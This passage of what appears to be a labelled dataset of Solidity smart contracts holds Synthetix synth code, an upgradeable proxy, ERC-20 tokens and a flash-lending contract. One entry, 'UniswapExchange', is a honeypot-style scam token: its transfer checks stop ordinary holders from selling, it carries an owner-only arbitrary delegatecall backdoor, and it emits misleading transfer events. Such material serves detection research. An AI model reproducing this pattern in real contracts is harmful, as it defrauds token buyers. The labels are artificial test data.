(bool) { require(rewardEscrow != address(0), "Reward Escrow destination missing"); uint supplyToMint = supplySchedule.mintableSupply(); require(supplyToMint > 0, "No supply is mintable"); supplySchedule.updateMintValues(); uint minterReward = supplySchedule.minterReward(); tokenState.setBalanceOf(rewardEscrow, tokenState.balanceOf(rewardEscrow).add(supplyToMint.sub(minterReward))); emitTransfer(this, rewardEscrow, supplyToMint.sub(minterReward)); feePool.rewardsMinted(supplyToMint.sub(minterReward)); tokenState.setBalanceOf(msg.sender, tokenState.balanceOf(msg.sender).add(minterReward)); emitTransfer(this, msg.sender, minterReward); totalSupply = totalSupply.add(supplyToMint); } modifier rateNotStale(bytes4 currencyKey) { require(!exchangeRates.rateIsStale(currencyKey), "Rate stale or nonexistant currency"); _; } modifier notFeeAddress(address account) { require(account != feePool.FEE_ADDRESS(), "Fee address not allowed"); _; } modifier onlySynth() { bool isSynth = false; for (uint8 i = 0; i < availableSynths.length; i++) { if (availableSynths[i] == msg.sender) { isSynth = true; break; } } require(isSynth, "Only synth allowed"); _; } modifier nonZeroAmount(uint _amount) { require(_amount > 0, "Amount needs to be larger than 0"); _; } modifier onlyOracle { require(msg.sender == exchangeRates.oracle(), "Only the oracle can perform this action"); _; } event SynthExchange(address indexed account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress); bytes32 constant SYNTHEXCHANGE_SIG = keccak256("SynthExchange(address,bytes4,uint256,bytes4,uint256,address)"); function emitSynthExchange(address account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress) internal { proxy._emit(abi.encode(fromCurrencyKey, fromAmount, toCurrencyKey, toAmount, toAddress), 2, SYNTHEXCHANGE_SIG, bytes32(account), 0, 0); } } contract Synth is ExternStateToken { IFeePool public feePool; Synthetix public synthetix; bytes4 public currencyKey; uint8 constant DECIMALS = 18; constructor(address _proxy, TokenState _tokenState, Synthetix _synthetix, IFeePool _feePool, string _tokenName, string _tokenSymbol, address _owner, bytes4 _currencyKey ) ExternStateToken(_proxy, _tokenState, _tokenName, _tokenSymbol, 0, DECIMALS, _owner) public { require(_proxy != 0, "_proxy cannot be 0"); require(address(_synthetix) != 0, "_synthetix cannot be 0"); require(address(_feePool) != 0, "_feePool cannot be 0"); require(_owner != 0, "_owner cannot be 0"); require(_synthetix.synths(_currencyKey) == Synth(0), "Currency key is already in use"); feePool = _feePool; synthetix = _synthetix; currencyKey = _currencyKey; } function setSynthetix(Synthetix _synthetix) external optionalProxy_onlyOwner { synthetix = _synthetix; emitSynthetixUpdated(_synthetix); } function setFeePool(IFeePool _feePool) external optionalProxy_onlyOwner { feePool = _feePool; emitFeePoolUpdated(_feePool); } function transfer(address to, uint value) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); bytes memory empty; return _internalTransfer(messageSender, to, amountReceived, empty); } function transfer(address to, uint value, bytes data) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); return _internalTransfer(messageSender, to, amountReceived, data); } function transferFrom(address from, address to, uint value) public optionalProxy notFeeAddress(from) returns (bool) { uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value)); synthetix.synthInitiatedFeePayment(from, currencyKey, fee); bytes memory empty; return _internalTransfer(from, to, amountReceived, empty); } function transferFrom(address from, address to, uint value, bytes data) public optionalProxy notFeeAddress(from) returns (bool) { uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value)); synthetix.synthInitiatedFeePayment(from, currencyKey, fee); return _internalTransfer(from, to, amountReceived, data); } function transferSenderPaysFee(address to, uint value) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint fee = feePool.transferFeeIncurred(value); synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); bytes memory empty; return _internalTransfer(messageSender, to, value, empty); } function transferSenderPaysFee(address to, uint value, bytes data) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint fee = feePool.transferFeeIncurred(value); synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); return _internalTransfer(messageSender, to, value, data); } function transferFromSenderPaysFee(address from, address to, uint value) public optionalProxy notFeeAddress(from) returns (bool) { uint fee = feePool.transferFeeIncurred(value); tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee))); synthetix.synthInitiatedFeePayment(from, currencyKey, fee); bytes memory empty; return _internalTransfer(from, to, value, empty); } function transferFromSenderPaysFee(address from, address to, uint value, bytes data) public optionalProxy notFeeAddress(from) returns (bool) { uint fee = feePool.transferFeeIncurred(value); tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee))); synthetix.synthInitiatedFeePayment(from, currencyKey, fee); return _internalTransfer(from, to, value, data); } function _internalTransfer(address from, address to, uint value, bytes data) internal returns (bool) { bytes4 preferredCurrencyKey = synthetix.synthetixState().preferredCurrency(to); if (preferredCurrencyKey != 0 && preferredCurrencyKey != currencyKey) { return synthetix.synthInitiatedExchange(from, currencyKey, value, preferredCurrencyKey, to); } else { return super._internalTransfer(from, to, value, data); } } function issue(address account, uint amount) external onlySynthetixOrFeePool { tokenState.setBalanceOf(account, tokenState.balanceOf(account).add(amount)); totalSupply = totalSupply.add(amount); emitTransfer(address(0), account, amount); emitIssued(account, amount); } function burn(address account, uint amount) external onlySynthetixOrFeePool { tokenState.setBalanceOf(account, tokenState.balanceOf(account).sub(amount)); totalSupply = totalSupply.sub(amount); emitTransfer(account, address(0), amount); emitBurned(account, amount); } function setTotalSupply(uint amount) external optionalProxy_onlyOwner { totalSupply = amount; } function triggerTokenFallbackIfNeeded(address sender, address recipient, uint amount) external onlySynthetixOrFeePool { bytes memory empty; callTokenFallbackIfNeeded(sender, recipient, amount, empty); } modifier onlySynthetixOrFeePool() { bool isSynthetix = msg.sender == address(synthetix); bool isFeePool = msg.sender == address(feePool); require(isSynthetix || isFeePool, "Only the Synthetix or FeePool contracts can perform this action"); _; } modifier notFeeAddress(address account) { require(account != feePool.FEE_ADDRESS(), "Cannot perform this action with the fee address"); _; } event SynthetixUpdated(address newSynthetix); bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)"); function emitSynthetixUpdated(address newSynthetix) internal { proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0); } event FeePoolUpdated(address newFeePool); bytes32 constant FEEPOOLUPDATED_SIG = keccak256("FeePoolUpdated(address)"); function emitFeePoolUpdated(address newFeePool) internal { proxy._emit(abi.encode(newFeePool), 1, FEEPOOLUPDATED_SIG, 0, 0, 0); } event Issued(address indexed account, uint value); bytes32 constant ISSUED_SIG = keccak256("Issued(address,uint256)"); function emitIssued(address account, uint value) internal { proxy._emit(abi.encode(value), 2, ISSUED_SIG, bytes32(account), 0, 0); } event Burned(address indexed account, uint value); bytes32 constant BURNED_SIG = keccak256("Burned(address,uint256)"); function emitBurned(address account, uint value) internal { proxy._emit(abi.encode(value), 2, BURNED_SIG, bytes32(account), 0, 0); } } contract PurgeableSynth is Synth { using SafeDecimalMath for uint; uint public maxSupplyToPurgeInUSD = 10000 * SafeDecimalMath.unit(); ExchangeRates public exchangeRates; constructor(address _proxy, TokenState _tokenState, Synthetix _synthetix, IFeePool _feePool, string _tokenName, string _tokenSymbol, address _owner, bytes4 _currencyKey, ExchangeRates _exchangeRates ) Synth(_proxy, _tokenState, _synthetix, _feePool, _tokenName, _tokenSymbol, _owner, _currencyKey) public { exchangeRates = _exchangeRates; } function purge(address[] addresses) external optionalProxy_onlyOwner { uint maxSupplyToPurge = exchangeRates.effectiveValue("sUSD", maxSupplyToPurgeInUSD, currencyKey); require( totalSupply <= maxSupplyToPurge || exchangeRates.rateIsFrozen(currencyKey), "Cannot purge as total supply is above threshold and rate is not frozen." ); for (uint8 i = 0; i < addresses.length; i++) { address holder = addresses[i]; uint amountHeld = balanceOf(holder); if (amountHeld > 0) { synthetix.synthInitiatedExchange(holder, currencyKey, amountHeld, "sUSD", holder); emitPurged(holder, amountHeld); } } } function setExchangeRates(ExchangeRates _exchangeRates) external optionalProxy_onlyOwner { exchangeRates = _exchangeRates; } event Purged(address indexed account, uint value); bytes32 constant PURGED_SIG = keccak256("Purged(address,uint256)"); function emitPurged(address account, uint value) internal { proxy._emit(abi.encode(value), 2, PURGED_SIG, bytes32(account), 0, 0); } }
0
600
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
2,435
pragma solidity 0.4.25; contract Ownable { address public owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { owner = address(0); emit OwnershipTransferred(msg.sender, owner); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); owner = _newOwner; emit OwnershipTransferred(owner, _newOwner); } } pragma solidity 0.4.25; contract Proxy { function () payable external { _fallback(); } function _implementation() internal view returns (address); function _delegate(address implementation) internal { assembly { calldatacopy(0, 0, calldatasize) let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0) returndatacopy(0, 0, returndatasize) switch result case 0 { revert(0, returndatasize) } default { return(0, returndatasize) } } } function _willFallback() internal { } function _fallback() internal { _willFallback(); _delegate(_implementation()); } } pragma solidity 0.4.25; library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } } pragma solidity 0.4.25; contract UpgradeabilityProxy is Proxy { event Upgraded(address indexed implementation); bytes32 private constant IMPLEMENTATION_SLOT = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3; constructor(address _implementation, bytes _data) public payable { assert(IMPLEMENTATION_SLOT == keccak256("org.zeppelinos.proxy.implementation")); _setImplementation(_implementation); if(_data.length > 0) { require(_implementation.delegatecall(_data)); } } function _implementation() internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } pragma solidity 0.4.25; contract AdminUpgradeabilityProxy is UpgradeabilityProxy { event AdminChanged(address previousAdmin, address newAdmin); bytes32 private constant ADMIN_SLOT = 0x10d6a54a4754c8869d6886b5f5d7fbfa5b4522237ea5c60d11bc4e7a1ff9390b; modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } constructor(address _implementation, address _admin, bytes _data) UpgradeabilityProxy(_implementation, _data) public payable { assert(ADMIN_SLOT == keccak256("org.zeppelinos.proxy.admin")); _setAdmin(_admin); } function admin() external view ifAdmin returns (address) { return _admin(); } function implementation() external view ifAdmin returns (address) { return _implementation(); } function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } function upgradeToAndCall(address newImplementation, bytes data) payable external ifAdmin { _upgradeTo(newImplementation); require(newImplementation.delegatecall(data)); } function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } function _willFallback() internal { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } } pragma solidity 0.4.25; contract ProxyAdmin is Ownable { function getProxyImplementation(AdminUpgradeabilityProxy proxy) public view returns (address) { return proxy.implementation(); } function getProxyAdmin(AdminUpgradeabilityProxy proxy) public view returns (address) { return proxy.admin(); } function changeProxyAdmin(AdminUpgradeabilityProxy proxy, address newAdmin) public onlyOwner { proxy.changeAdmin(newAdmin); } function upgrade(AdminUpgradeabilityProxy proxy, address implementation) public onlyOwner { proxy.upgradeTo(implementation); } function upgradeAndCall(AdminUpgradeabilityProxy proxy, address implementation, bytes data) payable public onlyOwner { proxy.upgradeToAndCall.value(msg.value)(implementation, data); } }
1
5,393
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract Destructible is Ownable { function Destructible() public payable { } function destroy() onlyOwner public { selfdestruct(owner); } function destroyAndSend(address _recipient) onlyOwner public { selfdestruct(_recipient); } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic, Pausable { using SafeMath for uint256; address companyReserve; address marketingReserve; address advisorReserve; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract AMICoin is StandardToken, Destructible { string public constant name = "USAGE TOKEN"; uint public constant decimals = 18; string public constant symbol = "AMI"; using SafeMath for uint256; event BuyAMI(address indexed from,string userid,uint256 value); address depositWalletAddress; uint256 public weiRaised =0; function AMICoin() public { totalSupply = 50000000 * (10**decimals); owner = msg.sender; depositWalletAddress = 0x6f0EA2d0bd5312ab56e1d4108360e557bb38425f; companyReserve = 0x899004f864AAcd954A252A7E9D3d70d4594d4851; marketingReserve = 0x955eD316F49878EeE10A3dEBaD4E5Ab72A3F8624; advisorReserve = 0x4bfd13D8BCFBA3288043654053Ae13C752d193Eb; balances[msg.sender] += 40000000 * (10 ** decimals); balances[companyReserve] += 7500000 * (10 ** decimals); balances[marketingReserve] += 1500000 * (10 ** decimals); balances[advisorReserve] += 1000000 * (10 ** decimals); Transfer(msg.sender,msg.sender, balances[msg.sender]); Transfer(msg.sender,companyReserve, balances[companyReserve]); Transfer(msg.sender,marketingReserve, balances[marketingReserve]); Transfer(msg.sender,advisorReserve, balances[advisorReserve]); } function() public { revert(); } function buyAMI(string userId) public payable{ require(msg.sender !=0); require(msg.value>0); forwardFunds(); weiRaised+=msg.value; BuyAMI(msg.sender,userId,msg.value); } function forwardFunds() internal { require(depositWalletAddress!=0); depositWalletAddress.transfer(msg.value); } function changeDepositWalletAddress (address newDepositWalletAddr) public onlyOwner { require(newDepositWalletAddr!=0); depositWalletAddress = newDepositWalletAddr; } }
1
2,888
pragma solidity ^0.5.0; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } pragma solidity ^0.5.0; interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.5.0; library ECDSA { function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { bytes32 r; bytes32 s; uint8 v; if (signature.length != 65) { return (address(0)); } assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } if (v < 27) { v += 27; } if (v != 27 && v != 28) { return (address(0)); } else { return ecrecover(hash, v, r, s); } } function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } pragma solidity ^0.5.5; library IndexedMerkleProof { function compute(bytes memory proof, uint160 leaf) internal pure returns (uint160 root, uint256 index) { uint160 computedHash = leaf; for (uint256 i = 0; i < proof.length / 20; i++) { uint160 proofElement; assembly { proofElement := div(mload(add(proof, add(32, mul(i, 20)))), 0x1000000000000000000000000) } if (computedHash < proofElement) { computedHash = uint160(uint256(keccak256(abi.encodePacked(computedHash, proofElement)))); index += (1 << i); } else { computedHash = uint160(uint256(keccak256(abi.encodePacked(proofElement, computedHash)))); } } return (computedHash, index); } } pragma solidity ^0.5.5; contract InstaLend { using SafeMath for uint; address private _feesReceiver; uint256 private _feesPercent; bool private _inLendingMode; modifier notInLendingMode { require(!_inLendingMode); _; } constructor(address receiver, uint256 percent) public { _feesReceiver = receiver; _feesPercent = percent; } function feesReceiver() public view returns(address) { return _feesReceiver; } function feesPercent() public view returns(uint256) { return _feesPercent; } function lend( IERC20[] memory tokens, uint256[] memory amounts, address target, bytes memory data ) public notInLendingMode { _inLendingMode = true; uint256[] memory prevAmounts = new uint256[](tokens.length); for (uint i = 0; i < tokens.length; i++) { prevAmounts[i] = tokens[i].balanceOf(address(this)); require(tokens[i].transfer(target, amounts[i])); } (bool res,) = target.call(data); require(res, "Invalid arbitrary call"); for (uint i = 0; i < tokens.length; i++) { uint256 expectedFees = amounts[i].mul(_feesPercent).div(100); require(tokens[i].balanceOf(address(this)) >= prevAmounts[i].add(expectedFees)); if (_feesReceiver != address(this)) { require(tokens[i].transfer(_feesReceiver, expectedFees)); } } _inLendingMode = false; } } pragma solidity ^0.5.0; contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, 